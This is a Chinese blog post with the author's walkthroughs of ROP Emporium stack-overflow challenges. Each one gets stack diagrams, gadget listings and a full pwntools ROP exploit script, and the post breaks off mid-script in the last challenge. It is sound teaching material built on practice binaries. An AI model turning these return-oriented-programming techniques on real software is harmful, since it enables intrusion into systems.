栈溢出学习总结

栈溢出

前言

        距离上一次发博客挺长时间了,没时间,隔一段时间总结一波也可以,CTF中的漏洞挖掘与利用学习,也就是pwn,通常是用ctfwiki来学习的,里面的内容确实可以,但是入门总感觉看起来太枯燥了,当前学习了栈溢出漏洞,整数溢出漏洞,格式化字符串漏洞,条件竞争漏洞,还有堆结构的学习,还未做一些利用堆的题,除了栈溢出漏洞,其他我都是跟着ctfwiki来的,栈溢出漏洞,我觉得ctfwiki上太多了,太枯燥了,就直接找了 一套ROP入门题来做,下面对题的解析都是我独自完成的,记录了我如何一步步解出题目,以及遇到的困难,其他的漏洞学习总结我就不写了,因为是都是ctfwiki上有的。

学习资源

学习教程:https://blog.csdn.net/song_lee/article/details/99694514

关于栈溢出的深入理解与应用,可以参考:

x86 架构中的内存攻击技术 ROP(一)

x86 架构中的内存攻击技术 ROP(二)

Linux 二进制程序保护机制:

Linux 二进制程序保护机制详解

实战应用

以下都选择的是64/32位的程序:

https://ropemporium.com/

下面的所有资源均从上面的链接里下载,上面的资源好像有更新,与之前的不一样了,我是没找到最新这种资源的题解,我写的这个也可以作为新手的参考。

ret2win

windows突然更新,我就只能使用pwntools来找到ret2win函数的地址了

from pwn import *

context.log_level='debug'
f = ELF('./ret2win')
print(hex(f.symbols['ret2win']))

因为sendline会多发一个0a字节,所以导致返回地址覆盖错了,经过调试修改,最终得到正确flag

from pwn import *

context.log_level='debug'

#f = ELF('./ret2win')
#print(hex(f.symbols['ret2win']))
p = process("./ret2win")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x400744")
p.recvuntil('> ')
p.sendline(b'*' * 40 + b'\x56\x07\x40\x00\x00\x00\x00\x00')

p.interactive()

split32

32位程序与64位程序的利用方式还真不一样。。。因为32位程序是用压栈来传参的,而64位是用寄存器传参的,就这样的改变,导致的利用方式天差地别,看来利用程序就是因地制宜

第一种方法:

直接利用,看一下,因为system函数里面找到传入参数,是通过ebp+8来找到,那就是在old ebp和返回地址下一个,也是之前返回地址的下一个;

.text:08048615                 push    offset command  ; "/bin/ls"
.text:0804861A                 call    _system

整个函数堆栈过程就是下面这个

|----------------|
|ebp:****    
|----------------|
|返回地址:0x08048657 ——->  上一个函数执行 ret, sp + 4
|----------------|	 下一个函数执行 call, sp - 4,返回地址(就是call system的一下一条指令)又压入原来的栈空间
|system 参数      |push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|

需要用到的参数在:

.data:0804A030 usefulString    db '/bin/cat flag.txt',0

需要计算read存储到的地方距离ebp的距离,然后计算写入多少个*

.text:080485AD pwnme           proc near               ; CODE XREF: main+45↑p
.text:080485AD
.text:080485AD s               = byte ptr -28h
.text:080485AD
.text:080485AD ; __unwind {
.text:080485AD                 push    ebp
.text:080485AE                 mov     ebp, esp
.text:080485B0                 sub     esp, 28h

28h+old ebp的四个字节 = 44字节

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./split32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x080485E3")
p.recvuntil('> ')
p.sendline(b'*' * 44 + b'\x1A\x86\x04\x08' + b'\x30\xA0\x04\x08')

p.interactive()

第二种方法:

先找到plt表中对应的内容

gdb-peda$ x /15i 0x080483E0
   0x80483e0 <system@plt>:      jmp    DWORD PTR ds:0x804a018
   0x80483e6 <system@plt+6>:    push   0x18
   0x80483eb <system@plt+11>:   jmp    0x80483a0
   0x80483f0 <__libc_start_main@plt>:   jmp    DWORD PTR ds:0x804a01c
   0x80483f6 <__libc_start_main@plt+6>: push   0x20
   0x80483fb <__libc_start_main@plt+11>:        jmp    0x80483a0
   0x8048400 <setvbuf@plt>:     jmp    DWORD PTR ds:0x804a020
   0x8048406 <setvbuf@plt+6>:   push   0x28
   0x804840b <setvbuf@plt+11>:  jmp    0x80483a0
   0x8048410 <memset@plt>:      jmp    DWORD PTR ds:0x804a024
   0x8048416 <memset@plt+6>:    push   0x30
   0x804841b <memset@plt+11>:   jmp    0x80483a0
   0x8048420:   jmp    DWORD PTR ds:0x8049ffc

如果直接让溢出的返回地址修改为 plt 中对应的 sytem,此时栈空间如下

|----------------|
|ebp:****    
|----------------|
|返回地址:0x080483e0 ——->  上一个函数执行 ret, sp + 4
|----------------|			xxx这一步不执行 - 不执行 call 指令,就不会压入返回地址,所以sp 也不会归位
|null   					system 中的 push ebp,此时 ebp 会跑到栈中 原先返回地址 的位置
|---------------|
|system 参数					ebp + 8 找到的参数位置

利用代码如下:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./split32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x080485E3")
p.recvuntil('> ')
p.sendline(b'*' * 44 + b'\xe0\x83\x04\x08' + b'\x00\x00\x00\x00' + b'\x30\xA0\x04\x08')

p.interactive()

split

int pwnme()
{
  char s; // [rsp+0h] [rbp-20h]

  memset(&s, 0, 0x20uLL);
  puts("Contriving a reason to ask user for data...");
  printf("> ", 0LL);
  read(0, &s, 0x60uLL);
  return puts("Thank you!");
}

有个函数是usefulFunction,但是我不知道如何修改这个/bin/ls

int usefulFunction()
{
  return system("/bin/ls");
}

data段居然有个/bin/cat flag.txt

在这里插入图片描述

这是可以利用一个简单的ROP链来实现

因为将system的参数用pop 寄存器来赋上,然后直接调用call system就可以了。

ROPgadget 是一款优秀的 gadget 寻找工具,ROPgadget 安装 错误处理 与使用, 用法如下

p1n9@p1n9-virtual-machine:~/rop_emporium_all_challenges$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x00000000004007c3 : pop rdi ; ret

或者使用 gdb 插件 peda 自带的 ROPsearch 命令

gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x004007c3 : (b'5fc3')	pop rdi; ret

最后的利用脚本:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./split")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x400730")
p.recvuntil('> ')
p.sendline(b'*' * 40 + b'\xc3\x07\x40\x00\x00\x00\x00\x00' + \
        b'\x60\x10\x60\x00\x00\x00\x00\x00' + b'\x4B\x07\x40\x00\x00\x00\x00\x00')

p.interactive()

callme

“.dll .obj .lib”和“ .so .o .a”文件与动态链接和静态链接

栈溢出的原理还是一样的,但是使用的函数不一样了,

.text:00000000004008F2 usefulFunction  proc near
.text:00000000004008F2 ; __unwind {
.text:00000000004008F2                 push    rbp
.text:00000000004008F3                 mov     rbp, rsp
.text:00000000004008F6                 mov     edx, 6
.text:00000000004008FB                 mov     esi, 5
.text:0000000000400900                 mov     edi, 4
.text:0000000000400905                 call    _callme_three
.text:000000000040090A                 mov     edx, 6
.text:000000000040090F                 mov     esi, 5
.text:0000000000400914                 mov     edi, 4
.text:0000000000400919                 call    _callme_two
.text:000000000040091E                 mov     edx, 6
.text:0000000000400923                 mov     esi, 5
.text:0000000000400928                 mov     edi, 4
.text:000000000040092D                 call    _callme_one
.text:0000000000400932                 mov     edi, 1          ; status
.text:0000000000400937                 call    _exit
.text:0000000000400937 ; } // starts at 4008F2
.text:0000000000400937 usefulFunction  endp

可以看到传入的参数是不对的,我们需要用ROP来构造正确的参数,因为64位程序是利用寄存器来传参的, 并且fastcall是从右向左压入参数的

在这里插入图片描述

用ROPgadget找到对应的指令,rdi为第一个参数,rsi是第二个参数,rdx是第三个参数

$ ROPgadget --binary callme --only 'pop|ret' | grep rdi                           
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
$ ROPgadget --binary callme --only 'pop|ret' | grep rsi
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret
$ ROPgadget --binary callme --only 'pop|ret' | grep rdx
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x000000000040093e : pop rdx ; ret
0x000000000040093d : pop rsi ; pop rdx ; ret

开始构造堆栈,主要如果要使用call _callme_one是不行的,因为call会压入返回地址,这样就无法让程序使用我们自己构造的返回地址,所以得使用plt表

|----------------|
|ebp:*****      |
|----------------|
|0x040093c(给callone参数赋值)
|----------------|
|0xDEADBEEFDEADBEEF
|----------------|
|0xCAFEBABECAFEBABE
|----------------|
|0xD00DF00DD00DF00D
|----------------|
|返回地址:0x0400720   ret的时候,pop rip;add esp, 8
|----------------|
|0x040093c(给calltwo参数赋值)
|----------------|
|0xDEADBEEFDEADBEEF
|----------------|
|0xCAFEBABECAFEBABE
|----------------|
|0xD00DF00DD00DF00D
|----------------|
|返回地址:0x0400740   ret的时候,pop rip;add esp, 8
|----------------|
|0x040093c(给callthree参数赋值)
|----------------|
|0xDEADBEEFDEADBEEF(第一个参数)
|----------------|
|0xCAFEBABECAFEBABE(第二个参数)
|----------------|
|0xD00DF00DD00DF00D(第三个参数)
|----------------|
|返回地址:0x04006F0   ret的时候,pop rip;add esp, 8
|----------------|

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./callme")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x04008E0")
p.recvuntil('> ')

one_plt_addr = 0x0400720
two_plt_addr = 0x0400740
three_plt_addr = 0x04006F0
pop_args_gadget = 0x040093c

args = p64(0xDEADBEEFDEADBEEF) + p64(0xCAFEBABECAFEBABE) + p64(0xD00DF00DD00DF00D)

payload = b'*' * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)

p.sendline(payload)

p.interactive()

相关参考:

p32 p64
就是将一个数字转换为字符,例如
p32(0xdeadbeef)
就会转换为
'\xef\xbe\xad\xde'
这里顺序反了是因为linux编译的程序是小端序的

u32 u64
就是将字符转换为数字,例如
u32('\x12\x34\x56\x78')
结果
0x78563412

callme32

和64位差不多就是得用ebp+8(第一个参数),+c(第二个参数),+10(第三个参数)来找到对应的参数

有个麻烦的是,就是callme函数是__cdecl调用约定,参数是从右向左压入,而且是由调用者来清理堆栈,所以如何将栈内的参数清除掉呢,这里就需要rop来pop了

$ ROPgadget --binary callme32 --only 'pop|ret' | grep edi                       
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080487fa : pop edi ; pop ebp ; ret
0x080487f9 : pop esi ; pop edi ; pop ebp ; ret

选择0x080487f9的rop链

构造栈

|----------------|
|ebp:****       |
|----------------|
|0x080484F0(给callone的plt地址)
|----------------|
|callone的返回地址:0x080487f9
|----------------|
|0xDEADBEEF
|----------------|
|0xCAFEBABE
|----------------|
|0xD00DF00D
|----------------|
|0x08048550(给calltwo的plt地址)
|----------------|
...

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./callme32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x04008E0")
p.recvuntil('> ')

one_plt_addr = 0x080484F0
two_plt_addr = 0x08048550
three_plt_addr = 0x080484E0
pop_args_gadget = 0x080487f9

args = p32(0xDEADBEEF) + p32(0xCAFEBABE) + p32(0xD00DF00D)

payload = b'*' * 44
payload += p32(one_plt_addr) + p32(pop_args_gadget) + args
payload += p32(two_plt_addr) + p32(pop_args_gadget) + args
payload += p32(three_plt_addr) + p32(pop_args_gadget) + args

p.sendline(payload)

p.interactive()

write4

首先pwnme和print_file都在libwrite4.so中, 基本思路就是要进入print_file的plt, 然后将rdi的值赋值为flag.txt,先找到pop rdi; ret

$ ROPgadget --binary write4 --only 'pop|ret' | grep rdi
0x0000000000400693 : pop rdi ; ret

怎么才能把flag.txt赋值到内存中呢,搜索一下带有mov的gadget吧

$ ROPgadget --binary write4 --only 'pop|mov|ret'
Gadgets information
============================================================
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret

Unique gadgets found: 15

这里面可以利用这两条指令:

0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400628 : mov qword ptr [r14], r15 ; ret

r14写成要保存的地址,我想写在这里000601030, 试一下:

.data:0000000000601030 __dso_handle    db    0
.data:0000000000601031                 db    0
.data:0000000000601032                 db    0
.data:0000000000601033                 db    0
.data:0000000000601034                 db    0
.data:0000000000601035                 db    0
.data:0000000000601036                 db    0
.data:0000000000601037                 db    0

构造栈空间:

|----------------|
|ebp:****       |
|----------------|
|rop链1:0x0400690(pop r14 ; pop r15 ; ret)
|----------------|
|存储位置: 0x000601030
|----------------|
|目标字符:flag.txt
|----------------|
|rop链2: 0x0400628(mov qword ptr [r14], r15 ; ret)
|----------------|
|rop链3: 0x0400693(pop rdi ; ret)
|----------------|
|0x000601030
|----------------|
|0x0400510(print_file的plt地址)
|----------------|
...

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./write4")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x040060B")
p.recvuntil('> ')

payload = b'*' * 40
payload += p64(0x0400690) + p64(0x000601030) + b'flag.txt'
payload += p64(0x0400628)
payload += p64(0x0400693) + p64(0x000601030)
payload += p64(0x0400510)

p.sendline(payload)

p.interactive()

write432

32位的利用也是差不多,稍微变换一下就可以

先搜索一下可用的Gadget

$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x080485ab : pop ebp ; ret
0x080485a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485aa : pop edi ; pop ebp ; ret
0x080485a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1

Unique gadgets found: 11

可用的Gadget如下:

0x080485aa : pop edi ; pop ebp ; ret
0x08048543 : mov dword ptr [edi], ebp ; ret

构造栈:

|----------------|
|ebp:****       |
|----------------|
|rop链1:0x080485aa(pop edi ; pop ebp ; ret)
|----------------|
|存储位置: 0x0804A018
|----------------|
|目标字符:flag
|----------------|
|rop链2: 0x08048543(mov dword ptr [edi], ebp ; ret)
|----------------|
|rop链3: 0x080485aa(pop edi ; pop ebp ; ret)
|----------------|
|存储位置: 0x0804A01C
|----------------|
|目标字符:.txt
|----------------|
|rop链4: 0x08048543(mov dword ptr [edi], ebp ; ret)
|----------------|
|0x080483D0(print_file的plt地址)
|----------------|
|null
|----------------|
|0x0804A018
|----------------|
...

存放数据的位置:

.data:0804A018 __data_start    db    0                 ; Alternative name is '__data_start'
.data:0804A018                                         ; data_start
.data:0804A019                 db    0
.data:0804A01A                 db    0
.data:0804A01B                 db    0
.data:0804A01C                 public __dso_handle
.data:0804A01C __dso_handle    db    0
.data:0804A01D                 db    0
.data:0804A01E                 db    0
.data:0804A01F                 db    0
.data:0804A01F _data           ends

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./write432")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x08048517")
p.recvuntil('> ')

payload = b'*' * 44
payload += p32(0x080485aa) + p32(0x0804A018) + b'flag' + p32(0x08048543)
payload += p32(0x080485aa) + p32(0x0804A01C) + b'.txt' + p32(0x08048543)
payload += p32(0x080483D0) + p32(0x0) + p32(0x0804A018)

p.sendline(payload)

p.interactive()

badchars

过滤了一些字符,需要绕过这个限制

我觉得可以通过add修改寄存器的值来绕过

$ ROPgadget --binary badchars --only 'add|pop|mov|ret'
Gadgets information
============================================================
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec

Unique gadgets found: 30

可以用这种组合一步步将flag.txt赋值到data区

#写入data区
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
#对输入的字符串进行修改
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret

构造栈:

|----------------|
|rbp:****       |
|----------------|
|rop链1:0x040069c(pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret)
|----------------|
|目标字符:fl_e,tvt
|----------------|
|目标地址: 0x0601030
|----------------|
|00
|----------------|
|00
|----------------|
|rop链2: 0x0400634(mov qword ptr [r13], r12 ; ret)
|----------------|
|rop链30x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601032
|----------------|
|rop链40x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链50x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601033
|----------------|
|rop链60x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链70x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601034
|----------------|
|rop链80x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链90x04006a0(pop r14 ; pop r15 ; ret)
|----------------|
|0x02
|----------------|
|0x0601036
|----------------|
|rop链100x040062c(add byte ptr [r15], r14b ; ret)
|----------------|
|rop链110x04006a3(pop rdi ; ret)
|----------------|
|0x0601030
|----------------|
|0x0400510(print_file的plt地址)
|----------------|
...

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./badchars")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x0040060B")
p.recvuntil('> ')

payload = b'*' * 40
payload += p64(0x040069c) + b'fl_e,tvt' + p64(0x0601030) + p64(0x00) + p64(0x00) + p64(0x0400634)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601032) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601033) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601034) + p64(0x040062c)
payload += p64(0x04006a0) + p64(0x02) + p64(0x0601036) + p64(0x040062c)
payload += p64(0x04006a3) + p64(0x0601030) + p64(0x0400510)

p.sendline(payload)

p.interactive()

badchars32

$ ROPgadget --binary badchars32 --only 'xor|add|pop|mov|ret'                  
Gadgets information
============================================================
0x080484e8 : add al, 8 ; add ecx, ecx ; ret
0x0804854d : add bl, al ; mov dword ptr [edi], esi ; ret
0x08048545 : add bl, al ; xor byte ptr [ebp], bl ; ret
0x0804847f : add bl, dh ; ret
0x0804847d : add byte ptr [eax], al ; add bl, dh ; ret
0x0804847c : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x08048398 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804847e : add byte ptr [eax], al ; ret
0x08048543 : add byte ptr [ebp], bl ; ret
0x080484e5 : add eax, 0x804a020 ; add ecx, ecx ; ret
0x080484ea : add ecx, ecx ; ret
0x080485b5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839a : add esp, 8 ; pop ebx ; ret
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
0x0804854c : pop ebp ; add bl, al ; mov dword ptr [edi], esi ; ret
0x08048544 : pop ebp ; add bl, al ; xor byte ptr [ebp], bl ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1
0x08048547 : xor byte ptr [ebp], bl ; ret
0x080485cf : xor ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

Unique gadgets found: 29

可以利用的指令:

赋值:
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
修改:
0x0804839d : pop ebx ; ret
0x080485bb : pop ebp ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret

构造栈:

|----------------|
|ebp:****       |
|----------------|
|rop链1:0x080485b9(pop esi ; pop edi ; pop ebp ; ret)
|----------------|
|目标字符:flag异或后的字符
|----------------|
|存储位置: 0804A018
|----------------|
|null 
|----------------|
|rop链2: 0x0804854f(mov dword ptr [edi], esi ; ret)
|----------------|
|rop链3:0x080485b9(pop esi ; pop edi ; pop ebp ; ret)
|----------------|
|目标字符:.txt异或后的字符
|----------------|
|存储位置: 0804A01C
|----------------|
|null 
|----------------|
|rop链4: 0x0804854f(mov dword ptr [edi], esi ; ret)
|----------------|
|rop链5: 0x0804839d : pop ebx ; ret
|----------------|
|xor_byte
|----------------|
|rop链6: 0x080485bb : pop ebp ; ret
|----------------|
|修改位置
|----------------|
|0x08048547 : xor byte ptr [ebp], bl ; ret
|----------------|
|...
|----------------|
|0x080483D0(print_file的plt地址)
|----------------|
|null
|----------------|
|0x0804A018
|----------------|
...

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./badchars32")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x0040060B")
p.recvuntil('> ')

xor_byte = 0x02
flag = "flag.txt"
target = []

for i in range(0, len(flag), 4):
    tmp = ''
    for j in range(0, 4):
        tmp += chr(ord(flag[i + j]) ^ xor_byte)
    target.append(tmp)
    

print_file_plt_address = 0x080483D0
pop_esi_edi_ebp = 0x080485b9
mov_edi_esi = 0x0804854f
pop_ebx = 0x0804839d
pop_ebp = 0x080485bb
xor_ebp_bl = 0x08048547
data_address = 0x0804A018

payload = b'*' * 44
for i in range(len(target)):
    payload += p32(pop_esi_edi_ebp) + bytes(target[i], encoding='utf8') + p32(data_address + 4 * i) + p32(0x00) + p32(mov_edi_esi)
payload += p32(pop_ebx) + p32(xor_byte)
for i in range(len(flag)):
    payload += p32(pop_ebp) + p32(data_address + i) + p32(xor_ebp_bl)
payload += p32(print_file_plt_address) + p32(0x00) + p32(data_address)

p.sendline(payload)

p.interactive()

fluff

找一下Gadget, 没找到可以利用的,这一题与 write432 类似,但是这一次没有一眼就能看出来的 gadget,需要费心构造了,所以,这题重点考察隐秘 gadget 的寻找

$ ROPgadget --binary fluff --only 'shl|shr|xor|sub|add|pop|mov|ret'
Gadgets information
============================================================
0x000000000040054f : add bl, dh ; ret
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004004e3 : add esp, 8 ; ret
0x00000000004004e2 : add rsp, 8 ; ret
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400295 : ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret

Unique gadgets found: 27

使用 puts leak出 stdin的值 , 使用 fgets输入 flag.txt , 然后使用print_file(‘flag.txt’) , 3 次 利用栈溢出。(不可行,因为无法获取puts的函数的plt表,这样就调不了)

.text:0000000000400628
.text:0000000000400628 questionableGadgets:
.text:0000000000400628                 xlat
.text:0000000000400629                 retn
.text:000000000040062A ; ---------------------------------------------------------------------------
.text:000000000040062A                 pop     rdx
.text:000000000040062B                 pop     rcx
.text:000000000040062C                 add     rcx, 3EF2h //0011 1110 1111 0010
.text:0000000000400633                 bextr   rbx, rcx, rdx
.text:0000000000400638                 retn
.text:0000000000400639 ; ---------------------------------------------------------------------------
.text:0000000000400639                 stosb
.text:000000000040063A                 retn

//stosb指令,将AL寄存器的值取出来赋给edi所指向的地址处。mov [edi],AL;edi=edi+1//bextr指令用处https://www.felixcloutier.com/x86/bextr
//bextr指的是把第二操作数的

真的 构造不到。。。

在这里插入图片描述

发现有个有趣的点,能用的Gadget被作者放到一起了

找到控制rbx就可以,挖掘深度Gadget得用—depth 20

0x000000000040069a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

栈构造:

|----------------|
|rbp:****       |
|----------------|
|mov eax, 0 ; pop rbp ; ret(对eax清零)
|----------------|
|pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret(控制rbx)
|----------------|
|xlat; ret (赋值到al)
|----------------|
|pop rdi ; ret(对edi赋值)
|----------------|
|stosb(进行,将al值赋值到edi)
|----------------|

我自己找的这种居然超栈了,还是的用他的这种gadget。。。

|----------------|
|rbp:****       |
|----------------|
|mov eax, 0 ; pop rbp ; ret(对eax清零)
|----------------|
|pop rdx; pop rcx; add rcx, 3EF2h; bextr rbx, rcx, rdx; ret(控制rbx)
|----------------|
|xlat; ret (赋值到al)
|----------------|
|pop rdi ; ret(对edi赋值)
|----------------|
|stosb(进行,将al值赋值到edi)
|----------------|
|mov eax, 0 ; pop rbp ; ret(对eax清零)
|----------------|
|pop rdx; pop rcx; add rcx, 3EF2h; bextr rbx, rcx, rdx; ret(控制rbx)
|----------------|
|xlat; ret (赋值到al)
|----------------|
|stosb(进行,将al值赋值到edi)
|----------------|
....

我去,还不能用mov eax,0太多次,不然就超栈空间了

利用代码:

from pwn import *

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process("./fluff")
def debug(cmd=""):
    gdb.attach(p,cmd)
    pause()

#debug("b *0x0040060B")
p.recvuntil('> ')

f_address = 0x4005F6 - 0x3ef2
l_address = 0x4003C1 - 0x3ef2
a_address = 0x4005D2 - 0x3ef2
g_address = 0x4007A0 - 0x3ef2
dot_address = 0x4005F7 - 0x3ef2
x_address = 0x4006C8 - 0x3ef2
t_address = 0x4006CB - 0x3ef2
save_address = 0x0601028

rcx_value = 0x4000

